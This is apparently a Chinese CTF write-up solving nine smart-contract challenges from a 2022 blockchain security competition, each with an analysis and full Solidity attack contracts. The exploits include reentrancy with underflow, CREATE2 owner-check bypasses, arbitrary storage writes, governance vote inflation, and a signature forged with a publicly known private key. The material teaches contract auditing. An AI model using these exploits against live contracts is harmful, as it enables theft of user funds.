所有的题目我都放在了代码仓库,由于太长就不放入wp了,感兴趣的可自行移步。

题目预览

  • TrusterLenderPool
    • 分析
    • 攻击
  • SVip
    • 分析
    • 攻击
  • Merkle
    • 分析
    • 攻击
  • OwnerBuy
    • 分析
    • 攻击
  • LostAssets
    • 分析
    • 攻击
  • Storage1
    • 分析
    • 攻击
  • FlashLoanMain
    • 分析
    • 攻击
  • Governance
    • 分析
    • 攻击
  • EverytingIsArt
    • 分析
    • 攻击

TrusterLenderPool

分析

本次大赛的第一题,也是相对来说难度相对较低的一道题

目的是成功调用Complete函数,也就要求我们拿走合约的所有token0余额。

合约创建之初拥有10100个token,拥有两个函数,一个flashloan,一个swap。
看完合约思路就已经很清晰了,用flashloan借钱,再用swap换成token1,在swap的过程中就已经完成了flashloan还钱的操作,最后再用手中的token1换走合约中的token0即可完成攻击。

攻击

攻击合约:

// SPDX-License-Identifier: MITpragma solidity ^0.8.1;
pragma solidity ^0.8.0;
import "./TrusterLenderPool.sol";
contract poolAttack{TrusterLenderPool public pool;Cert public token0;Cert public token1;constructor(address _pool){pool = TrusterLenderPool(_pool);token0=pool.token0();token1 = pool.token1();}function loan(uint256 amount)public{pool.flashLoan(amount,address(this));token1.approve(address(pool),amount);pool.swap(address(token0),amount);}function receiveEther(uint256 amount)public{token0.approve(address(pool),amount);pool.swap(address(token1),amount);}// function ended(uint256 amount)public{//     token1.approve(address(pool),amount);//     pool.swap(address(token0),amount);// }fallback()external payable{}
}

直接调用loan传入10100*10**18即可完成攻击。

SVip

分析


要求我们成为SuperVip,就是要求我们成功调用promotionSVip函数

合约几个函数很简单,getPoint可以给我们一百个point,transferPoints可以进行point间的转账。很容易能够注意到tansferPoints使用了中间变量来存储转账前 的余额,如果我们的调用者和接受者为同一地址,就等于没扣余额。

攻击

攻击合约:

pragma solidity ^0.4.24;
import "./SVip.sol";
contract svipAttack{SVip sv;constructor(address _addr){sv = SVip(_addr);}function get()public{for(uint i =0;i<99;i++){sv.getPoint();}}function transfer()public{for(uint i=0;i<11;i++){sv.transferPoints(address(this),98);}sv.transferPoints(msg.sender,1000);}
}

用自己的账户调用一次getPoints,然后调用get和transfer,最后调用题目的promotionSVip即可完成攻击。

Merkle

分析


题目需要我们把合约初始化的一个ether全拿出来。
而想要取钱就需要调用withdraw函数,要成功转账则需要我们是merkleTree白名单中的一员,而合约初始化时我们肯定不在其中,这时候就需要调用setMerkleroot设定新的根节点。

此合约的onlyOwner只检查了调用者地址的前两位,很容易想到creat2来创建攻击合约。

这时候思路就很明确了,利用creat2创建跟owner前两位相同的合约,然后设定包含该地址的root,然后直接转账即可。

攻击

攻击合约:

// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.7.0;
import "./Merkle.sol";
contract attack{Merkle merk;constructor(){}function init(address _addr)public{merk = Merkle(_addr);}function att(bytes32 root)public payable{bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;merk.setMerkleroot(root);}function att2()public {bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;merk.withdraw(proof,address(this));}function figure()public returns(bytes32){bytes32[] memory proof = new bytes32[](2);// [0x0011223344556677889900112233445566778899001122334455667788990011,0x0011223344556677889900112233445566778899001122334455667788990022];proof[0]=0x0011223344556677889900112233445566778899001122334455667788990011;proof[1]=0x0011223344556677889900112233445566778899001122334455667788990022;bytes32 computedHash = keccak256(abi.encodePacked(address(this)));// bytes32 computedHash = msg.sender;for (uint256 i = 0; i < proof.length; i++) {bytes32 proofElement = proof[i];if (computedHash <= proofElement) {// Hash(current computed hash + current element of the proof)computedHash = keccak256(abi.encodePacked(computedHash, proofElement));} else {// Hash(current element of the proof + current computed hash)computedHash = keccak256(abi.encodePacked(proofElement, computedHash));}}return computedHash;}fallback()external payable{}
}
// contract figure{//     bytes20 public mask;
//     constructor(){//         mask = hex"ff00000000000000000000000000000000000000";
//     }
// }

部署合约:

contract deployed{bytes contractBytecode = hex"608060405234801561001057600080fd5b5061065b806100206000396000f3fe6080604052600436106100435760003560e01c806312c973c11461004657806313b6ae4c1461007457806319ab453c1461009f57806338a39681146100f057610044565b5b005b6100726004803603602081101561005c57600080fd5b8101908080359060200190929190505050610107565b005b34801561008057600080fd5b5061008961025a565b6040518082815260200191505060405180910390f35b3480156100ab57600080fd5b506100ee600480360360208110156100c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061040d565b005b3480156100fc57600080fd5b50610105610450565b005b6000600267ffffffffffffffff8111801561012157600080fd5b506040519080825280602002602001820160405280156101505781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b8160008151811061018357fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b816001815181106101bf57fe5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392f6c439836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561023e57600080fd5b505af1158015610252573d6000803e3d6000fd5b505050505050565b600080600267ffffffffffffffff8111801561027557600080fd5b506040519080825280602002602001820160405280156102a45781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b816000815181106102d757fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b8160018151811061031357fe5b602002602001018181525050600030604051602001808273ffffffffffffffffffffffffffffffffffffffff1660601b815260140191505060405160208183030381529060405280519060200120905060005b825181101561040457600083828151811061037d57fe5b602002602001015190508083116103c457828160405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092506103f6565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b508080600101915050610366565b50809250505090565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600267ffffffffffffffff8111801561046a57600080fd5b506040519080825280602002602001820160405280156104995781602001602082028036833780820191505090505b5090507e1122334455667788990011223344556677889900112233445566778899001160001b816000815181106104cc57fe5b6020026020010181815250507e1122334455667788990011223344556677889900112233445566778899002260001b8160018151811061050857fe5b60200260200101818152505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338be559282306040518363ffffffff1660e01b815260040180806020018373ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019060200280838360005b838110156105c05780820151818401526020810190506105a5565b505050509050019350505050602060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b505050506040513d602081101561061057600080fd5b8101908080519060200190929190505050505056fea2646970667358221220372540e23ad43e92c314947c7fb63098acee553a411ffe0aa1d829d1c303b92464736f6c63430007060033";function deploy(bytes32 salt) public returns(address) {bytes memory bytecode = contractBytecode;address addr;assembly {addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)}return addr;
}function getHash()public view returns(bytes32){return keccak256(contractBytecode);}
}

跟我们的思路一样,先根据脚本(同样在代码仓库中)计算出salt,利用creat2部署攻击合约,在攻击合约中先设定包含我们自己地址的root,随后调用withdraw函数即可完成攻击。

OwnerBuy

分析

题目需要我们的Times大于100。
整个合约中只有buy和sell函数涉及到了Times的增减,buy将我们的Times设定为1,而sell函数将我们的Times–,这里能想到下溢。

我们分别分析两个函数。

要调用buy就需要绕过其中的多个限制,需要owner为指定地址,且需要中间合约,并且Times为0,balance为0,msg.value=1,即可给我们100的余额,且Times为1.

其他的都很好通过,唯独需要指定地址的owner,需要我们先成为owner,再把owner转给指定地址。


成为owner需要我们地址的后四位为ffff,同样是利用creat2即可。
再来看sell

输入值大于200,creat2,Times大于0,balance大于输入值,随后会调用我们的fallback,这里很明显可以重入,且在Times为1的情况下重入一次即可发生下溢,唯一需要的就是我们的余额至少要大于四百,因为需要给合约转两次两百以上的转账。

由于每次buy都只能获得一百的余额,所以一个账户肯定是不行的,我们需要准备四个账户。

transfer函数也需要注意,如果接受者不是白名单的话,最大的余额不能超过一百,我们成为owner的时候需要把我们自己和合约地址设定为白名单。

攻击

攻击合约:

// 0.5.1-c8a2
// Enable optimization
pragma solidity ^0.5.0;
import "./OwnerBuy.sol";
contract ownerBuyAttack{OwnerBuy ownerbuy;bool public count;bool public isowner;constructor()public payable{}function isOwner(address owner) external returns (bool){if(!isowner){isowner=true;return false;}isowner=false;return true;}function init (address _addr)public payable{ownerbuy = OwnerBuy(_addr);}function becomeOwner()public{ownerbuy.changestatus(address(this));ownerbuy.changeOwner();}function setWhite()public{ownerbuy.setWhite(address(this));ownerbuy.setWhite(address(ownerbuy));}function transferOwner()public{ownerbuy.transferOwnership(0x220866B1A2219f40e72f5c628B65D54268cA3A9D);}function buy()public{ownerbuy.buy.value(1)();}function sell()public{ownerbuy.sell(200);}function finish()public{ownerbuy.finish();}function()external payable{if(!count){count=true;ownerbuy.sell(200);}}
}
contract helper{OwnerBuy ownerbuy;constructor(address _addr)public{ownerbuy = OwnerBuy(_addr);}function buy()public payable{ownerbuy.buy.value(1)();}function transfer(address attacker)public{ownerbuy.transfer(attacker,100);}
}

部署合约:

contract deployed{bytes contractBytecode = hex"60806040526109eb806100136000396000f3fe6080604052600436106100915760003560e01c8063a6f2ae3a11610059578063a6f2ae3a1461027e578063d56b288914610295578063df05f42e146102ac578063ead4d3db146102c3578063f9dca989146102f257610091565b806306661abd1461017457806319ab453c146101a35780632f54bf6e146101e757806345710074146102505780637e10e9d114610267575b600060149054906101000a900460ff16610172576001600060146101000a81548160ff0219169083151502179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561013557600080fd5b505af1158015610149573d6000803e3d6000fd5b505050506040513d602081101561015f57600080fd5b8101908080519060200190929190505050505b005b34801561018057600080fd5b50610189610309565b604051808215151515815260200191505060405180910390f35b6101e5600480360360208110156101b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061031c565b005b3480156101f357600080fd5b506102366004803603602081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061035f565b604051808215151515815260200191505060405180910390f35b34801561025c57600080fd5b506102656103bc565b005b34801561027357600080fd5b5061027c61046f565b005b34801561028a57600080fd5b5061029361064a565b005b3480156102a157600080fd5b506102aa6106f3565b005b3480156102b857600080fd5b506102c161079a565b005b3480156102cf57600080fd5b506102d8610868565b604051808215151515815260200191505060405180910390f35b3480156102fe57600080fd5b5061030761087b565b005b600060149054906101000a900460ff1681565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060159054906101000a900460ff16610398576001600060156101000a81548160ff021916908315150217905550600090506103b7565b60008060156101000a81548160ff021916908315150217905550600190505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4849b3260c86040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561043157600080fd5b505af1158015610445573d6000803e3d6000fd5b505050506040513d602081101561045b57600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561050f57600080fd5b505af1158015610523573d6000803e3d6000fd5b505050506040513d602081101561053957600080fd5b8101908080519060200190929190505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c03646ba6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561060c57600080fd5b505af1158015610620573d6000803e3d6000fd5b505050506040513d602081101561063657600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a60016040518263ffffffff1660e01b81526004016020604051808303818588803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b50505050506040513d60208110156106df57600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d56b28896040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561075c57600080fd5b505af1158015610770573d6000803e3d6000fd5b505050506040513d602081101561078657600080fd5b810190808051906020019092919050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b73220866b1a2219f40e72f5c628b65d54268ca3a9d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561084e57600080fd5b505af1158015610862573d6000803e3d6000fd5b50505050565b600060159054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166351ec819f306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561091b57600080fd5b505af115801561092f573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362a094776040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561099c57600080fd5b505af11580156109b0573d6000803e3d6000fd5b5050505056fea265627a7a72315820490de0313b1ad79570c77ae043ce5fe65f40e32cd15657be89fd034ab9e52c2464736f6c63430005110032";function deploy(bytes32 salt) public returns(address) {bytes memory bytecode = contractBytecode;address addr;assembly {addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)}return addr;
}function getHash()public view returns(bytes32){return keccak256(contractBytecode);}
}

首先调用init函数初始化并传入eth供后面使用,然后调用becomeOwner成为owner,然后将我们和合约地址设为白名单,随后转走owner,调用buy。
然后部署三个用来helper合约,用来拿到更多的balance,转给攻击合约辅助后面的攻击。


到这一步我们的balance应该为400,Times为1
随后再成为owner,调用sell函数即可,然后调用finish函数,合约中的钱已经被我们全部转走,完成攻击。

LostAssets

分析


题目要求我们拿走合约所有的weth。
合约提供了两种token,一种erc20也就是weth,另一种为erc20permit,也就是sweth,对weth进行了权限的封装。

此题重点在这个函数,他需要我们拿到对应的授权,才允许我们转走weth,乍一看好像并没有问题,但是weth本身并没有继承erc20permit

也就是说,验证权限的这一部分代码没有任何意义,直接跳到了下面的转账。

所以我们直接转账即可完成攻击。

攻击

输入对应的参数即可,hash,r,s,v等都可以随便输,完成攻击。

Storage1

分析


题目要求我们成为admin,并且我们的gasDeposits要很大。

合约里面好像并没有改变admin的方法,并且gasDeposits也是根据我们传入的value值进行改变的,所以我们需要另寻他路。

这个函数很有意思,他让我们可以随意更改storage中的值,那么很明显,我们直接通过这个函数修改admin和我们对应的gasDeposits即可。

攻击

攻击合约:

contract attack{function figure(address _addr)public view returns(bytes32){return keccak256(abi.encode(_addr,2));}
}

只是为了计算出我们的depositGas在存储中的位置。


第一次放入1,放入我们的地址,修改我们为admin。
第二次放入计算出的值,放入比9999999999999999999999999999999999大的数,修改我们的gas。
攻击成功。

FlashLoanMain

分析


这关要求我们的cert balance大于100个,而airdrop函数一开始就能给我们一百个,所以只要我们的余额多一点就可以了。

看完合约之后很明显能够知道,我们的目的是利用flashloan函数借钱出来,然后调用isCompleted就行了。

所以我们的目的就是依次通过这些require,首先第一个require需要我们获得签名,第二个require则限制了转账金额,第三个是向我们转账,第四个执行我们的回退函数,第五个需要把钱从我们手里转回去。

那么很明显,我们需要绕开的只有第一个require.

这里就涉及到了以太坊的签名机制,ECDSA会根据我们输入的消息哈希,以及签名来还原出地址,而签名需要用该地址的私钥对消息哈希签名得到,也就是说我们的目标就是拿到对应地址的私钥。

通过还原,给出的几个值,能够得到对应地址为
0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9
而这个地址经常用于web3中,所以google一下很轻松就能够获取到他的私钥,可以进行攻击了。

攻击

攻击合约:

contract attck{bytes32 public msgHash = 0x1a6092262d7dc33c2f4b9913ad9318a8c41a138bb42dfacd4c7b6b46b8656522;bytes32 public r = 0xb158f1759111cd99128505f450f608c97178e2b6b9b6f7c3b0d2949e3a21cd02;bytes32 public s = 0x3ade8887fce9b513d41eb36180d6f7d9e072c756991034de2c9a5da541fb8184;uint8 public v = 0x1b;FlashLoanMain public flashloanAddr;address public flashLoanPriveder;Cert cert;function init(address _addr,address _privedor,address _cert)public {flashloanAddr = FlashLoanMain( _addr);flashLoanPriveder = _privedor;cert = Cert(_cert);}function figure()public view returns(address){return ECDSAUpgradeable.recover(msgHash,v,r,s);}function att(IFlashBorrower borrower,address token,uint256 amount,bytes memory signature)public{IFlashLoanPriveder(flashLoanPriveder).flashLoan(borrower,token,amount,signature,bytes(""));}function air()public{flashloanAddr.airdrop();}function onFlashLoan(address initiator,address token,uint256 amount,bytes calldata data) external returns (bool){flashloanAddr.Complete();cert.approve(flashLoanPriveder,amount);return true;}}

google获取私钥后,接下来的操作就是签名,签名脚本如下:

from eth_account import Accountmessagehash = "0xb4474375ee0d4abdd0612fd733942feeb646d5f85bddaff21aff4acd36c41e8d"
privatekey ="0xf8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315"
signMessage = Account.signHash(message_hash=messagehash,
private_key=privatekey)
print("signature =",signMessage)

由于web3.js和小狐狸的签名都会在签名先加上通用前缀,而这个题并没有加上前缀而是直接进行了ecrecover,所以我选择了使用web3.py来进行签名操作。拿到签名后,把签名以及对应的参数一起放入攻击合约的att函数,即可完成攻击。

Governance

分析


题目要求我们成为validator后才能拿到旗。
而成为validator又需要我们的vote也就是投票数大于mster的总数的三分之二。

只有master的owner能进行投票,并且只能投一次,根据对应master的余额获得投票数。
masterChef简要来说就是一个拥有利率系统的代币,让人感到出人意料的是下面这个函数。

他的作用是用来取走所有的master,但是却使用了memory类型的变量,也就是说我取出我的钱之后,在代币池中的余额并不会减少,也就是说我们可以凭此拿走池子所有的余额。

而只要我们拿到一百万以上的余额,我们就可以成为owner,也就可以投票了

但池子的余额也只有一千万,离总余额的三分之二,也就是七千三百万还差得很远。

但master同时也是一个erc20代币,我们可以利用多个地址,在我们自己vote之后,把代币发给其他的地址,依次进行vote,很轻松能够拿到多余七千三百万的vote。

攻击

contract attack{MasterChef master;Governance gover;address[7]  helpers;address public owner;constructor(address _master,address _gover)public{master = MasterChef(_master);gover = Governance(_gover);owner = msg.sender;}function getAir()public{for (uint i=0;i<1000;i++){master.airdorp();}}function getOwner()public{master.transferOwnership(address(this));}function vode()public{gover.vote(owner);}function setHelpers()public{for(uint i=0;i<helpers.length;i++){helpers[i]=address(new helper(address(master),address(gover)));}}function getBalance()public{for(uint i=0;i<1000;i++){master.emergencyWithdraw(0);}}function transferd()public{master.approve(address(master),master.balanceOf(address(this)));master.deposit(0,master.balanceOf(address(this)));}function getVote()public{master.transfer(helpers[0],10000000);helper(helpers[0]).getOwner();helper(helpers[0]).vode(owner);for (uint i=0;i<helpers.length-1;i++){helper(helpers[i]).transferd(helpers[i+1]);helper(helpers[i+1]).getOwner();helper(helpers[i+1]).vode(owner);}helper(helpers[6]).transferd(address(this));}
}
contract helper{MasterChef master;Governance gover;constructor(address _master,address _gover)public{master = MasterChef(_master);gover = Governance(_gover);}function getOwner()public{master.transferOwnership(address(this));}function vode(address _addr)public{gover.vote(_addr);}function transferd(address _addr)public{master.transfer(_addr,10000000);}
}

依次调用getair,transferd,十次getbalance,getOwner,vode,setHelper,getVote函数,即可完成攻击。

EverytingIsArt

分析


题目要求我们balance等于288.
这个题令我出乎意料,我以为最后一题应该会是最难的一题,没想到是最简单的一题。

直接在该函数中传入288即可。

除了这种解决方法,另两个关于hope的函数还存在重入问题,即先进行mint后改变状态变量,按理来说同样可以达成条件,但一旦重入次数超过107,就会发生gas费超标的问题,两个函数分别重入107次也达不到288,但也同样是一个漏洞。

攻击

直接在becomeAnArtist中输入288,即可完成攻击。

2022中国可信链大赛初赛赛题全解相关推荐

  1. 2022全国职业技能大赛-网络安全赛题解析总结②(超详细)

    2022全国职业技能大赛-网络安全赛题解析总结(自己得思路) 模块A 基础设施设置与安全加固(20分) 模块B 网络安全事件响应.数字取证调查和应用安全(40分) 模块C CTF夺旗-攻击(本模块20 ...

  2. 2022全国职业技能大赛-网络安全赛题解析总结①(超详细)

    2022全国职业技能大赛-网络安全赛题解析总结(自己得思路) 模块A 基础设施设置与安全加固(20分) 模块B 网络安全事件响应.数字取证调查和应用安全(40分) 模块C CTF夺旗-攻击(20分) ...

  3. 2022全国职业技能大赛-网络安全赛题解析总结⑤(超详细)

    2022全国职业技能大赛-网络安全赛题解析总结(自己得思路) 模块A 基础设施设置与安全加固(20分) 模块B 网络安全事件响应.数字取证调查和应用安全(40分) 模块C CTF夺旗-攻击(20分) ...

  4. 公示 | 首届中国智能心电大赛初赛结果

    首届中国心电智能大赛自2019年1月1日启动全球招募起,便受到高校.医院.创业团队的热烈响应.三个月的报名时间里,大赛组委会共收到来自全球545支医工结合团队的报名,经过初赛资格审查,308支团队正式 ...

  5. 赛事快讯|2022中国工程机器人大赛——飞思无人机仿真与自主任务赛项演示视频来啦!

    作为第十一届中国工程机器人大赛暨国际公开赛的重要赛项,飞思无人机仿真与自主任务赛项诚邀全国各区域高效优秀人才及社会无人机极客参与其中,在实践中探索无人机奥秘! 中国工程机器人大赛-飞思实验室无人机仿真 ...

  6. 分享|2022中国区块链年度发展白皮书(附PDF)

    内容摘要: 为全面掌握2021年我国区块链技术创新和产业发展的整体态势,把握2022年我国区块链发展的最新动向,赛迪区块链研 究院组织专家力量,编撰形成了<2021年中国区块链年度发展白皮书&g ...

  7. 独家 | PHM数据竞赛首个中国夺冠团队经验分享(常用模型赛题详解PPT视频)

    清华大数据"赛事经验分享"系列讲座旨在分享国内外大数据领域重要赛事获胜团队及个人的参赛历程及获胜经验,本期,我们邀请到PHM Data Challenge十年竞赛史上首个完全由中国 ...

  8. 2021全国职业技能大赛-网络安全赛题解析总结①(超详细)

    2021全国职业技能大赛-网络安全赛题解析总结(1) 模块A 基础设施设置与安全加固 有问题可以私聊博主 模块A 基础设施设置与安全加固 一.项目和任务描述: 假定你是某企业的网络安全工程师,对于企业 ...

  9. 2023年全国职业院校技能大赛软件测试赛题第1套

    2023年全国职业院校技能大赛 软件测试赛题第1套                                         赛项名称:            软件测试             ...

最新文章

  1. Bootstrap3.x - 源代码分析
  2. 明早10点大讲堂 | 一种新型光幕传感器在机器人避障和无人驾驶中的应用
  3. WPF 3D中多个模型如何设置某一个在最前?
  4. 无线传感网3-2.高效率目标物监控
  5. Nutanix 将社区版代码带入云中
  6. HihoCoder - 1879 Rikka with Triangles(极角排序求所有锐角三角形的面积)
  7. 性能测试 vs 负载测试 vs 压力测试
  8. kafka topic制定规则
  9. Windows环境下smarty安装简明教程
  10. 快速搭建MQTT服务器(MQTTnet和Apache Apollo)
  11. 【kafka】kafka log 存储时间 小于 offset 存储时间 offset存在但是消费不到
  12. 17track逆向分析
  13. Epub,Mobi,Azw3电子书格式的区别,有什么好用的epub阅读器
  14. 蜗牛连珠五子棋改进版
  15. 第十一届 蓝桥杯 物联网设计与开发项目 决赛 第一部分 客观试题
  16. linux网络本地发送lo性能,LINUX网络性能之管理工具三剑客
  17. dbt-tidb 1.2.0 尝鲜
  18. Android Studio WiFi 之 获取 WiFi 名称、IP、Mac
  19. 40岁开始学编程,现在成了一名技术主管
  20. Dubbox 是什么?

热门文章

  1. DingTalk「开发者说」第7期 钉钉前端开放及其业务思考
  2. JavaScript输出所有Unicode字符
  3. lammps高熵合金熔炼过程分子动力学模拟
  4. 记录python量化学习过程
  5. DMA-DAC音频播放调试笔记
  6. access前端连接mysql_用javascript连接access数据库的方法
  7. 【狮子数学】chapter2-02-中值定理
  8. SCI、SSCI、CSSCI、CSCD
  9. HCNP——DD报文
  10. hbuilderx uniapp 【成功示例】windows真机调试iOS